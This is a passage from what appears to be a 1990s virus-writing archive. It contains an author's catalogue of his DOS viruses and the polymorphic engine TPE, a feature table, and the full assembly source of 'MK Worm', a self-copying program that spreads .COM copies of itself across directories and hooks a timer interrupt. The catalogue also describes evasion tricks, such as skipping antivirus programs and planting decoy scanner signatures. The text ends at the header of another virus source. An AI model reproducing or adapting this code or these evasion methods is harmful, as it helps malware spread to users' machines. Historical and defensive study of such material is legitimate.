³ ÀÄÄÄÄ Little Brother 361 (Vote-Erase) (*)
|
||||
ÀÄÄÄÄ Little Brother 300 (*)
|
||||
|
||||
|
||||
Cannabis 1
|
||||
ÀÄÄÄÄ Cannabis 2
|
||||
ÀÄÄÄÄ Cannabis 3
|
||||
ÀÄÄÄÄ Cannabis 4 (*)
|
||||
|
||||
|
||||
Dutch Tiny 126
|
||||
ÃÄÄÄÄ Dutch Tiny 124
|
||||
³ ÀÄÄÄÄ Dutch Tiny 122
|
||||
ÀÄÄÄÄ Dutch Tiny 124B
|
||||
|
||||
|
||||
Dutch Mini 99
|
||||
ÀÄÄÄÄ Dutch Mini 97
|
||||
ÃÄÄÄÄ Dutch Mini 91
|
||||
ÃÄÄÄÄ Dutch Mini 117
|
||||
ÀÄÄÄÄ Dutch Mini 111
|
||||
|
||||
|
||||
46-Virus
|
||||
ÀÄÄÄÄ PCA virus
|
||||
|
||||
|
||||
ANSI-Virus
|
||||
|
||||
Virus_for_Windows 1.4
|
||||
|
||||
MK-Worm
|
||||
|
||||
|
||||
|
||||
|
||||
(*) Note: The viruses marked with (*) are NOT written by Masud Khafir!
|
||||
@@ -0,0 +1,450 @@
|
||||
Gotcha 1
|
||||
|
||||
This was the first virus I wrote. It is a resident COM and EXE infector.
|
||||
It infects programs when they are executed. It hides at the top of
|
||||
conventional memory. When infecting it intercepts INT24, circumvents
|
||||
the read-only attribute and disables Ctrl-Break. It also restores the
|
||||
original file date and time after the infection. Some parts of it were
|
||||
taken from the Yankee Doodle virus, but nevertheless this is an enterly
|
||||
new virus.
|
||||
|
||||
|
||||
Gotcha 4
|
||||
|
||||
This is a resident COM infector. It is a stripped-down variant of
|
||||
version 1. The special thing about this virus is that it contains
|
||||
scan-strings of a few other viruses. These scan-strings are encrypted
|
||||
and in every infected file one of them is decrypted. So scanners can be
|
||||
fooled to think that there are up to 8 differrent other viruses in case
|
||||
a lot of files have been infected with this virus.
|
||||
|
||||
|
||||
Gotcha 6
|
||||
|
||||
This version is the follow-up of version 1. This one has some additional
|
||||
features. It can also infect files when they are opened, it avoids to
|
||||
infect files matching the name *AN*.* (like SCAN.EXE, CLEAN.EXE,
|
||||
TBSCAN.EXE etc...) and it won't infect files when the DOS environment
|
||||
contains "E=mcý".
|
||||
|
||||
|
||||
Gotcha 7
|
||||
|
||||
This is a minor bug-fix of version 6.
|
||||
|
||||
|
||||
Gotcha 9
|
||||
|
||||
In this next version a few bugs are removed and the code has been made
|
||||
a little bit efficient. It can also infect files on more different DOS
|
||||
funcions like rename (56h), attribute (43h), findfirst (4Eh) and many
|
||||
others. It now also avoids files matching the name V*.* (like VIRX.EXE,
|
||||
VSHIELD.EXE, etc..).
|
||||
|
||||
|
||||
Gotcha 17
|
||||
|
||||
This version is quite different from the others. It uses another technique
|
||||
to access files, similar as many bulgarian viruses (like 512). Also other
|
||||
things are made more efficient. This one only infects files when they are
|
||||
executed or closed. It now also avoids files matching the name F*.*.
|
||||
|
||||
|
||||
46 Virus
|
||||
|
||||
This is an extremely simple virus. It just overwrites all COM files in
|
||||
it's directory with a copy of itself. It's length is 46 bytes, hence the
|
||||
name.
|
||||
|
||||
|
||||
Seventh Son 1
|
||||
|
||||
This is a simple non-resident COM infecting virus. It will infect all
|
||||
other COM files in it's directory. It circumvents read-only attributes,
|
||||
intercepts INT24, disables Ctrl-break and keeps the original file date
|
||||
and time when infecting. The virus contains a generation counter. If
|
||||
both his own and the previous generation are 7, it will display the text
|
||||
"Seventh son of a seventh son" on the screen. This virus was named after
|
||||
an Iron Maiden song (yes, I admit, not very original).
|
||||
|
||||
|
||||
Seventh Son 2
|
||||
|
||||
This version is a little bit smaller and more efficiently coded. This
|
||||
virus alsos contain the text 'Virus' in cyrilic (‚¨°³±) at the end. This
|
||||
has no special purpose. Just to confuse some people.
|
||||
|
||||
|
||||
Seventh son 4
|
||||
|
||||
This version is again made smaller and more efficient.
|
||||
|
||||
|
||||
Little Brother 1
|
||||
|
||||
This is a resident spawning EXE infector. It infects EXE files by
|
||||
creating a COM file with the same name, without touching the EXE file.
|
||||
The COM file only contains the complete virus. The first time the virus
|
||||
is executed it will install itself in an unused part of memory (and not
|
||||
run the original program). When DOS wants to execute a program, the virus
|
||||
uses a clumsy algorithm to decide whether a COM or an EXE file should be
|
||||
executed.
|
||||
|
||||
|
||||
Little Brother 2
|
||||
|
||||
In this version a few bugs are removed and it is also a bit more
|
||||
efficiently coded.
|
||||
|
||||
|
||||
Little Brother 3
|
||||
|
||||
This version works a little bit different than the previous two. This
|
||||
one doesn't use the resident algorithm anymore to decide wether to
|
||||
execute a COM or an EXE file. Instead the original EXE program is
|
||||
spawned from the COM program (the virus).
|
||||
|
||||
|
||||
Tiny 126
|
||||
|
||||
This is a small resident COM infecting virus. It is written as an attempt
|
||||
to write the smallest possible virus. The length of this virus is 126
|
||||
bytes. It does NOT re-infect programs that are already infected. This
|
||||
virus hides in memory at address 0050:0100.
|
||||
|
||||
|
||||
Tiny 124
|
||||
|
||||
This one is exactly the same as the previous one, only it hides at address
|
||||
0000:0100. That location is part of the interrupt area, and because of
|
||||
that this virus is very unstable. It crashes very often, but nevertheless
|
||||
it is able to infect files.
|
||||
|
||||
|
||||
Tiny 124B
|
||||
|
||||
This is a variant of version 126. It will not infect COM files that begin
|
||||
with a near JMP (E9h). This version has a disadvantage that it also tries
|
||||
to infect EXE files. Infected EXE files will not function anymore.
|
||||
|
||||
|
||||
Tiny 122
|
||||
|
||||
This one is based on version 124. It has the same disadvantage as
|
||||
version 124B.
|
||||
|
||||
|
||||
Mini 99
|
||||
|
||||
This is a small non-resident COM infecting virus. Like the previous
|
||||
mentioned viruses, this one too was written as an attempt to write the
|
||||
smallest possible virus. A big part of the code is similar although it
|
||||
is a different type of virus. This virus will infect all COM files in
|
||||
it's directory.
|
||||
|
||||
|
||||
Mini 97
|
||||
|
||||
This version is 2 bytes smaller. It will not infect COM files that begin
|
||||
with a near JMP (E9h).
|
||||
|
||||
|
||||
Mini 91
|
||||
|
||||
This version only tries to infect the first COM file in it's directory.
|
||||
|
||||
|
||||
Mini 117
|
||||
|
||||
This one is a little bit improved variant. It will infect only the first
|
||||
uninfected COM file in it's directory (if the first one is infected it
|
||||
will infect the second one).
|
||||
|
||||
|
||||
Mini 111
|
||||
|
||||
This is an improved version of Mini 97. This one will keep the original
|
||||
DTA area, so programs that use command-line input will still function.
|
||||
|
||||
|
||||
Cannabis 1
|
||||
|
||||
This is an overwriting floppy bootsector virus. It is a sort of
|
||||
combination of a (simplified) bootsector and a virus. Instead of
|
||||
keeping the original bootsector somewhere else on the disk, it just
|
||||
overwrites the original bootsector. When an infected floppy is booted,
|
||||
the virus installs itself in memory and then prints the message
|
||||
"Non-System disk or disk error Replace and press a key when ready" on
|
||||
the screen. Then it tries to boot again. One has to boot from another
|
||||
disk or from harddisk to continue. But the virus will stay resident
|
||||
in memory. Sometimes the virus will print the message "Hey man, I don't
|
||||
wanna work. I'm too stoned right now..." on the screen when booting, and
|
||||
the computer will then hang.
|
||||
|
||||
|
||||
Cannabis 2
|
||||
|
||||
Unlike the previous version, this one is able to boot from the infected
|
||||
disk, just like normal bootsectors. It doesn't contain the part that
|
||||
writes the "Hey man..." message anymore.
|
||||
|
||||
|
||||
Cannabis 3
|
||||
|
||||
This is a minor bug-fix of version 2. The previous versions had a serious
|
||||
bug that they sometimes wrote to the wrong side of the floppy.
|
||||
|
||||
|
||||
Pogue Mahone
|
||||
|
||||
This one is the most famous virus of this collection. It is a resident
|
||||
COM infecting virus. It's based on the last version of the Gotcha virus.
|
||||
The most remarkable thing about this virus is that it uses the Mutation
|
||||
Engine (MtE). The Mutation Engine is a small module written by "Dark
|
||||
Avenger", which can be included in viruses to make them polymorphic.
|
||||
This virus does not infect files matching the name CO*.COM (like
|
||||
COMMAND.COM). When the virus becomes resident between 1:00 and 9:00
|
||||
it will play the song 'Streams of Whiskey' (by The Pogues!). On the first
|
||||
of May it will play another song.
|
||||
|
||||
|
||||
Redhair ANSI bomb
|
||||
|
||||
This is not a virus but an ANSI bomb. Unlike most other bombs this one
|
||||
does not destroy anything. This bomb is in fact both an ANSI picture and
|
||||
a COM file. The COM file is infected with the MINI-117 virus. When the
|
||||
ANSI bomb triggers (when the backslash key is pressed) it will rename
|
||||
itself to X.COM and then execute X.COM. So the virus is then activated!
|
||||
After that it changes it's name back to REDHAIR.ANS.
|
||||
|
||||
|
||||
ANSI virus
|
||||
|
||||
This is another program that uses ANSI techniques. It's not just an ANSI
|
||||
bomb but an ANSI virus! Many people think ANSI viruses don't exist, but
|
||||
this one proves them wrong. This one uses the same trick as Redhair, it's
|
||||
at the same time an ANSI picture and a COM program. When activated, it
|
||||
will overwrite one .ANS file in the directory with a copy of itself. It
|
||||
adjusts the text in the virus to the victim's filename.
|
||||
|
||||
|
||||
Legalize
|
||||
|
||||
This is another virus that is based on Gotcha 17. It is a resident
|
||||
COM and EXE infector. It doesn't infect CO*.*. The special thing about
|
||||
this virus is that it will display a picture of a large green hemp leaf
|
||||
when the virus becomes resident on fridays. After showing the picture,
|
||||
the virus will ask the user a few questions about what he/she thinks
|
||||
about legalizing cannabis. After this, the virus will quit to DOS.
|
||||
The picture in the virus is packed with DIET to keep the virus small.
|
||||
A few small bugs from Gotcha 17 are fixed in this virus, but unfortunatly
|
||||
this virus has a new bug which causes some infected EXE programs to crash.
|
||||
|
||||
|
||||
Coffeeshop 1
|
||||
|
||||
This one is based on Gotcha 17 and Legalize. Originally it was planned
|
||||
to be a final bug-free version of Gotcha, but later I put the picture
|
||||
routine from Legalize in it. Although it is based on Gotcha 17, a large
|
||||
part of it has changed. It infects COM or EXE files when it is executed
|
||||
or opened with DOS function 6C00h. It avoids to infect several known
|
||||
programs that use a self-check (like most virus scanners). It also doesn't
|
||||
infect several other files, like Windows files, files with internal
|
||||
overlays etc. The virus doesn't use any undocumented features of DOS
|
||||
anymore. I wanted it to be as compatible as possible. The picture routine
|
||||
is also improved. It activates on fridays on a pseudo-random base when the
|
||||
virus becomes resident. It will then show the big green hemp leaf and
|
||||
after that it will continue with the original program (unlike Legalize).
|
||||
|
||||
|
||||
Coffeeshop 2
|
||||
|
||||
This virus is very similar to the previous one, but with MtE included.
|
||||
It only infects EXE files. At the time this virus was made a lot of
|
||||
scanners claimed that they were able to detect MtE, but none of them
|
||||
could detect this virus.
|
||||
|
||||
|
||||
Coffeeshop 3
|
||||
|
||||
This one too is very similar to the previous ones. Like version 2,
|
||||
this one is also highly polymorphic. But instead of using MtE, I wrote
|
||||
the encrytion routine myself. It infects both COM and EXE files.
|
||||
|
||||
|
||||
Coffeeshop 4
|
||||
|
||||
This is a minor bugfix of version 3. This one can also activate when
|
||||
the virus is already resident.
|
||||
|
||||
|
||||
Virus_for_Windows 1.4
|
||||
|
||||
This is a primitive non-resident virus that only infects Windows EXE
|
||||
program. As far as I know this is the first known Windows virus. It
|
||||
will try to infect all Windows EXE files in its directory. This virus
|
||||
has a big problem, it is not able to execute the original program.
|
||||
As a solution to this the virus will disinfect itself after infecting
|
||||
the other programs. So one has to execute infected programs twice to
|
||||
execute the original program. This virus will only infect programs which
|
||||
have a big enough data-segment.
|
||||
|
||||
|
||||
MK Worm
|
||||
|
||||
This is not a real virus, but some simple kind of worm. It does not
|
||||
infect programs in any way. Instead it will only copy itself to a few
|
||||
other directories on the disk from which it was executed. Each variant
|
||||
will have a different name and also their lenghts will be slightly
|
||||
different. It can spread because many people are used to try out every
|
||||
new executable file they get, and many people often use the command
|
||||
'COPY *.*'.
|
||||
|
||||
|
||||
Cruncher 1.0
|
||||
|
||||
This is a virus that uses data-compression. It is a resident COM
|
||||
infector, based on the Coffeeshop series. It compresses the victim file
|
||||
after infection. So the virus will be compressed together with the
|
||||
original program. The compression algorithm is the same as that of the
|
||||
program 'Diet'.
|
||||
|
||||
|
||||
Cruncher 2.0
|
||||
|
||||
This version also infects EXE files.
|
||||
|
||||
|
||||
Cruncher 2.1
|
||||
|
||||
This version is almost equal to version 2.0 but this one asks permission
|
||||
from the user before going resident. This feature changes it from a
|
||||
naughty virus into a userfriendly automatic compression utility!
|
||||
|
||||
|
||||
TPE 1.1
|
||||
|
||||
This is an OBJ module that can be linked to a virus to make it
|
||||
polymorphic. It can be used in a similar way as the famous MtE
|
||||
module. The encryption routine of TPE is taken from Coffeeshop
|
||||
version 3/4.
|
||||
|
||||
|
||||
TPE 1.2
|
||||
|
||||
This is a bugfix. The previous version often produced decryption
|
||||
routines that didn't work on all processor types.
|
||||
|
||||
|
||||
TPE 1.3
|
||||
|
||||
This is a another bugfix. This version is made fully relocatable
|
||||
within a memory segment, which is very handy for non-resident
|
||||
viruses. Also another incompatibility bug is fixed.
|
||||
|
||||
|
||||
TPE 1.4
|
||||
|
||||
In this version the encryption/decryption algorithms are made more
|
||||
complex. The previous versions could be detected by decrypting the
|
||||
encrypted code.
|
||||
|
||||
|
||||
PlayGame
|
||||
|
||||
This is a semi-stealth multi-partite EXE-infector. This virus infects
|
||||
the master bootsector of the harddisk when an infected program is
|
||||
executed. The virus only uses stealth techniques when a known anti-virus
|
||||
program is executed or at the 'DIR' command. The payload of this virus
|
||||
is a little arcade game that the user can play for fun. It activates in
|
||||
december after 21:00.
|
||||
|
||||
|
||||
DOS-1
|
||||
|
||||
This is a simple non-resident COM infector. It uses only FCB function
|
||||
calls, so it is compatible with all previous DOS versions, including
|
||||
version 1.0.
|
||||
|
||||
|
||||
Bosnia
|
||||
|
||||
This is a variant of Coffeeshop 3/4, but with another picture routine.
|
||||
The TPE 1.4 module is linked with this virus.
|
||||
|
||||
|
||||
PCA virus
|
||||
|
||||
This is a very simple overwriting virus. After infecting it shows a
|
||||
picture of the mascotte of the dutch magazine "PC Active". The picture
|
||||
inside the virus is compressed in a special way, to keep the virus
|
||||
small.
|
||||
|
||||
|
||||
==============================================================================
|
||||
|
||||
Virus Characteristics List
|
||||
|
||||
|
||||
ANSI keyboard remap-------------------+
|
||||
Polymorphic-------------------------+ |
|
||||
Infects Windows EXE files---------+ | |
|
||||
Infects EXE files---------------+ | | |
|
||||
Infects COM files-------------+ | | | |
|
||||
Memory Resident-------------+ | | | | |
|
||||
Overwriting---------------+ | | | | | |
|
||||
Bootsector virus--------+ | | | | | | |
|
||||
| | | | | | | |
|
||||
V V V V V V V V Length
|
||||
---------------------------------------------------
|
||||
Gotcha 1 . . R C E . . . 732
|
||||
Gotcha 4 . . R C . . . . 607
|
||||
Gotcha 6 . . R C E . . . 879
|
||||
Gotcha 7 . . R C E . . . 881
|
||||
Gotcha 9 . . R C E . . . 906
|
||||
Gotcha 17 . . R C E . . . 627
|
||||
46 Virus . O . C . . . . 46
|
||||
Seventh Son 1 . . . C . . . . 350
|
||||
Seventh Son 2 . . . C . . . . 332
|
||||
Seventh Son 4 . . . C . . . . 284
|
||||
Little Brother 1 . . R . E . . . 299
|
||||
Little Brother 2 . . R . E . . . 307
|
||||
Little Brother 3 . . R . E . . . 321
|
||||
Tiny 126 . . R C . . . . 126
|
||||
Tiny 124 . . R C . . . . 124
|
||||
Tiny 124B . . R C E . . . 124
|
||||
Tiny 122 . . R C E . . . 122
|
||||
Mini 99 . . . C . . . . 99
|
||||
Mini 97 . . . C . . . . 97
|
||||
Mini 91 . . . C . . . . 91
|
||||
Mini 117 . . . C . . . . 117
|
||||
Mini 111 . . . C . . . . 111
|
||||
Cannabis 1 B O R . . . . . 512
|
||||
Cannabis 2 B O R . . . . . 512
|
||||
Cannabis 3 B O R . . . . . 512
|
||||
Pogue Mahone . . R C . . P . 3017+
|
||||
Redhair ANSI bomb . . . . . . . A -
|
||||
ANSI virus . O . . . . . A 881
|
||||
Legalize . . R C E . . . 1781
|
||||
Coffeeshop 1 . . R C E . . . 1568
|
||||
Coffeeshop 2 . . R . E . P . 3792+
|
||||
Coffeeshop 3 . . R C E . P . 3000+
|
||||
Coffeeshop 4 . . R C E . P . 3000+
|
||||
Virus_for_Windows 1.4 . . . . . W . . 854
|
||||
MK Worm . . . . . . . . 715+
|
||||
Cruncher 1.0 . . R C . . . . 2092-
|
||||
Cruncher 2.0 . . R C E . . . 4000-
|
||||
Cruncher 2.1 . . R C E . . . 4800-
|
||||
TPE 1.1 . . . . . . P . 1378
|
||||
TPE 1.2 . . . . . . P . 1355
|
||||
TPE 1.3 . . . . . . P . 1411
|
||||
TPE 1.4 . . . . . . P . 1637
|
||||
PlayGame B . R . E . . . 2000
|
||||
Dos-1 . . . C . . . . 184
|
||||
Bosnia . . R C E . P . 3112+
|
||||
PCA virus . O . C . . . . 342
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
@@ -0,0 +1,467 @@
|
||||
;**********************************************************************
|
||||
;*
|
||||
;* MK Worm
|
||||
;*
|
||||
;* Compile with MASM 4.0
|
||||
;*
|
||||
;**********************************************************************
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:cseg
|
||||
.radix 16
|
||||
org 0100
|
||||
|
||||
|
||||
wormlen equ 8
|
||||
filelen equ eind - begin
|
||||
old_dir equ eind
|
||||
DTA equ offset eind + 100d
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* Main program
|
||||
;**********************************************************************
|
||||
|
||||
begin: call rnd_init
|
||||
|
||||
mov bp,DTA ;change DTA
|
||||
call set_DTA
|
||||
|
||||
mov ah,47 ;get name of current directory
|
||||
cwd
|
||||
mov si,offset old_dir
|
||||
int 21
|
||||
|
||||
mov dx,offset root_dir ;goto root
|
||||
call chdir
|
||||
|
||||
call search ;search directory's
|
||||
|
||||
mov dx,offset old_dir ;goto original directory
|
||||
call chdir
|
||||
|
||||
call rnd_get ;go resident?
|
||||
and al,0F
|
||||
jz go_res
|
||||
|
||||
int 20
|
||||
|
||||
go_res: mov ax,351C ;go resident!
|
||||
int 21
|
||||
lea si,oldvec
|
||||
mov [si],bx
|
||||
mov [si+2],es
|
||||
lea dx,routine
|
||||
mov ax,251C
|
||||
int 21
|
||||
mov dx,offset eind
|
||||
int 27
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* search dir
|
||||
;**********************************************************************
|
||||
|
||||
search: mov dx,offset dirname ;search *.*
|
||||
mov cx,16
|
||||
mov ah,4E
|
||||
finddir: int 21
|
||||
jc no_dir
|
||||
|
||||
test byte ptr [bp+15],10 ;directory?
|
||||
je next_dir
|
||||
cmp byte ptr [bp+1E],'.' ;is it '.' or '..' ?
|
||||
je next_dir
|
||||
|
||||
lea dx,[bp+1E] ;goto directory
|
||||
call chdir
|
||||
lea bp,[bp+2C] ;change DTA
|
||||
call set_DTA
|
||||
|
||||
call search ;searc directory (recurse!)
|
||||
|
||||
lea bp,[bp-2C] ;goto previous DAT
|
||||
call set_DTA
|
||||
mov dx,offset back_dir ;'CD ..'
|
||||
call chdir
|
||||
|
||||
next_dir: mov ah,4F ;find next
|
||||
jmp short finddir
|
||||
|
||||
no_dir: call rnd_get ;copy worm to this directory?
|
||||
and al,3
|
||||
jnz no_worm
|
||||
|
||||
mov dx,offset comname ;search *.com
|
||||
mov ah,4E
|
||||
mov cx,06
|
||||
findcom: int 21
|
||||
jc makeit
|
||||
|
||||
mov ax,word ptr [bp-1A] ;worm already there?
|
||||
sub ax,filelen
|
||||
cmp ax,10
|
||||
jnb no_worm
|
||||
|
||||
mov ah,4F
|
||||
jmp short findcom
|
||||
|
||||
|
||||
makeit: call makeworm ;copy the worm!
|
||||
|
||||
no_worm: ret
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* change dir
|
||||
;**********************************************************************
|
||||
|
||||
chdir: mov ah,3Bh
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* set DTA
|
||||
;**********************************************************************
|
||||
|
||||
set_DTA: mov dx,bp
|
||||
mov ah,1A
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* create worm
|
||||
;**********************************************************************
|
||||
|
||||
makeworm: mov ah,5A ;create unique filename
|
||||
xor cx,cx
|
||||
mov dx,offset filename
|
||||
mov si,offset restname
|
||||
mov byte ptr [si],0
|
||||
int 21
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,40 ;write worm
|
||||
mov cx,filelen
|
||||
mov dx,0100
|
||||
int 21
|
||||
|
||||
call rnd_get ;append a few bytes
|
||||
and ax,0F
|
||||
xchg ax,cx
|
||||
mov dx,0100
|
||||
mov ah,40
|
||||
int 21
|
||||
|
||||
mov ah,3E ;close file
|
||||
int 21
|
||||
|
||||
lea di,[si+13d] ;copy filename
|
||||
push di
|
||||
push si
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
mov si,offset comname+1
|
||||
movsw
|
||||
movsw
|
||||
movsb
|
||||
|
||||
pop dx ;rename file to .COM
|
||||
pop di
|
||||
mov ah,56
|
||||
int 21
|
||||
|
||||
ret
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* new int 1C handler
|
||||
;**********************************************************************
|
||||
|
||||
routine: cli ;save registers
|
||||
push ds
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
zzz3: inc byte ptr [count]
|
||||
mov al,byte ptr [count]
|
||||
test al,1 ;only every 2nd tick
|
||||
jz nothing
|
||||
cmp al,3 ;don't change direction yet
|
||||
jb zzz2
|
||||
call rnd_get
|
||||
and al,3 ;change direction?
|
||||
jnz zzz2
|
||||
|
||||
zzz0: call dirchange ;change direction!
|
||||
mov al,byte ptr [direction]
|
||||
xor al,byte ptr [old_direc]
|
||||
and al,1
|
||||
jz zzz0 ;90 degrees with old direction?
|
||||
|
||||
zzz2: call getnext ;calculate next position
|
||||
call checknext ;does it hit the border?
|
||||
jc zzz0
|
||||
|
||||
mov al,byte ptr [direction] ;save old direction
|
||||
mov byte ptr [old_direc],al
|
||||
call moveworm
|
||||
|
||||
mov ah,0F ;ask video mode
|
||||
int 10
|
||||
cmp al,7
|
||||
jz goodmode
|
||||
cmp al,4
|
||||
jnb nothing
|
||||
cmp al,2
|
||||
jb nothing
|
||||
|
||||
goodmode: mov ah,3 ;read cursor position
|
||||
int 10
|
||||
push dx
|
||||
|
||||
call printworm
|
||||
|
||||
pop dx ;restore cursor position
|
||||
mov ah,2
|
||||
int 10
|
||||
|
||||
nothing: pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop ds
|
||||
sti
|
||||
|
||||
jmp cs:[oldvec] ;original vector
|
||||
|
||||
oldvec dd 0
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* changes direction of worm
|
||||
;**********************************************************************
|
||||
|
||||
dirchange: call rnd_get ;get random numbar
|
||||
and al,2
|
||||
mov ah,byte ptr [direction] ;change direction 90 degrees
|
||||
xor ah,0FF
|
||||
and ah,1
|
||||
or ah,al
|
||||
mov byte ptr [direction],ah
|
||||
mov byte ptr [count],0
|
||||
ret
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* finds next position of the worm
|
||||
;**********************************************************************
|
||||
|
||||
getnext: mov al,byte ptr [yval+wormlen]
|
||||
mov byte ptr [yval+wormlen+1],al
|
||||
mov al,byte ptr [xval+wormlen]
|
||||
mov byte ptr [xval+wormlen+1],al
|
||||
|
||||
mov ah,byte ptr [direction]
|
||||
cmp ah,3
|
||||
je is_3
|
||||
cmp ah,2
|
||||
je is_2
|
||||
cmp ah,1
|
||||
je is_1
|
||||
|
||||
is_0: mov al,byte ptr [yval+wormlen] ;up
|
||||
dec al
|
||||
mov byte ptr [yval+wormlen+1],al
|
||||
ret
|
||||
|
||||
is_1: mov al,byte ptr [xval+wormlen] ;left
|
||||
dec al
|
||||
dec al
|
||||
mov byte ptr [xval+wormlen+1],al
|
||||
ret
|
||||
|
||||
is_2: mov al,byte ptr [yval+wormlen] ;down
|
||||
inc al
|
||||
mov byte ptr [yval+wormlen+1],al
|
||||
ret
|
||||
|
||||
is_3: mov al,byte ptr [xval+wormlen] ;right
|
||||
inc al
|
||||
inc al
|
||||
mov byte ptr [xval+wormlen+1],al
|
||||
ret
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* checks if worm will hit borders
|
||||
;**********************************************************************
|
||||
|
||||
checknext: mov al,byte ptr [xval+wormlen+1]
|
||||
cmp al,0
|
||||
jl fout
|
||||
cmp al,80d
|
||||
jae fout
|
||||
|
||||
mov al,byte ptr [yval+wormlen+1]
|
||||
cmp al,0
|
||||
jl fout
|
||||
cmp al,25d
|
||||
jae fout
|
||||
|
||||
clc
|
||||
ret
|
||||
fout: stc
|
||||
ret
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* move the worm
|
||||
;**********************************************************************
|
||||
|
||||
moveworm: mov si,offset xval+1
|
||||
lea di,[si-1]
|
||||
mov cx,wormlen+1
|
||||
rep movsb
|
||||
mov si,offset yval+1
|
||||
lea di,[si-1]
|
||||
mov cx,wormlen+1
|
||||
rep movsb
|
||||
ret
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* print the worm on screen
|
||||
;**********************************************************************
|
||||
|
||||
printworm: mov si,offset xval
|
||||
call move
|
||||
mov al,20 ;print space on rear end
|
||||
call print
|
||||
mov cx,wormlen-1
|
||||
lup: call move
|
||||
mov al,0F ;print dots
|
||||
call print
|
||||
loop lup
|
||||
call move
|
||||
mov al,2 ;print head of worm
|
||||
call print
|
||||
ret
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* move the cursor
|
||||
;**********************************************************************
|
||||
|
||||
move: mov ah,[si+wormlen+2]
|
||||
lodsb
|
||||
xchg ax,dx
|
||||
mov ah,02
|
||||
int 10
|
||||
ret
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* print a character
|
||||
;**********************************************************************
|
||||
|
||||
print: push cx
|
||||
mov ah,09
|
||||
mov bl,0C
|
||||
mov cx,1
|
||||
int 10
|
||||
pop cx
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* random number generator
|
||||
;****************************************************************************
|
||||
|
||||
rnd_init: push cx
|
||||
call rnd_init0
|
||||
and ax,000F
|
||||
inc ax
|
||||
xchg ax,cx
|
||||
random_lup: call rnd_get
|
||||
loop random_lup
|
||||
pop cx
|
||||
ret
|
||||
|
||||
rnd_init0: push dx ;initialize generator
|
||||
push cx
|
||||
mov ah,2C
|
||||
int 21
|
||||
in al,40
|
||||
mov ah,al
|
||||
in al,40
|
||||
xor ax,cx
|
||||
xor dx,ax
|
||||
jmp short move_rnd
|
||||
|
||||
rnd_get: push dx ;calculate a random number
|
||||
push cx
|
||||
push bx
|
||||
mov ax,0
|
||||
mov dx,0
|
||||
mov cx,7
|
||||
rnd_lup: shl ax,1
|
||||
rcl dx,1
|
||||
mov bl,al
|
||||
xor bl,dh
|
||||
jns rnd_l2
|
||||
inc al
|
||||
rnd_l2: loop rnd_lup
|
||||
pop bx
|
||||
|
||||
move_rnd: mov word ptr cs:[rnd_get+4],ax
|
||||
mov word ptr cs:[rnd_get+7],dx
|
||||
mov al,dl
|
||||
pop cx
|
||||
pop dx
|
||||
ret
|
||||
|
||||
|
||||
;**********************************************************************
|
||||
;* data
|
||||
;**********************************************************************
|
||||
|
||||
db ' MK Worm / Trident '
|
||||
root_dir db '\',0
|
||||
back_dir db '..',0
|
||||
dirname db '*.*',0
|
||||
|
||||
comname db '*.COM',0
|
||||
filename db '.\'
|
||||
restname db (26d) dup (?)
|
||||
|
||||
xval db 32d, 34d, 36d, 38d, 40d, 42d, 44d, 46d, 48d, 0
|
||||
yval db (wormlen+2) dup (12d)
|
||||
|
||||
direction db 3
|
||||
old_direc db 3
|
||||
count db 0
|
||||
|
||||
eind:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
|
||||
@@ -0,0 +1,189 @@
|
||||
title "Memory_Lapse.366A"
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º Assembly Source Listing for Memory_Lapse.366A º
|
||||
;º Copyright (c) 1993 Memory Lapse. All Rights Reserved. º
|
||||
;ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
|
||||
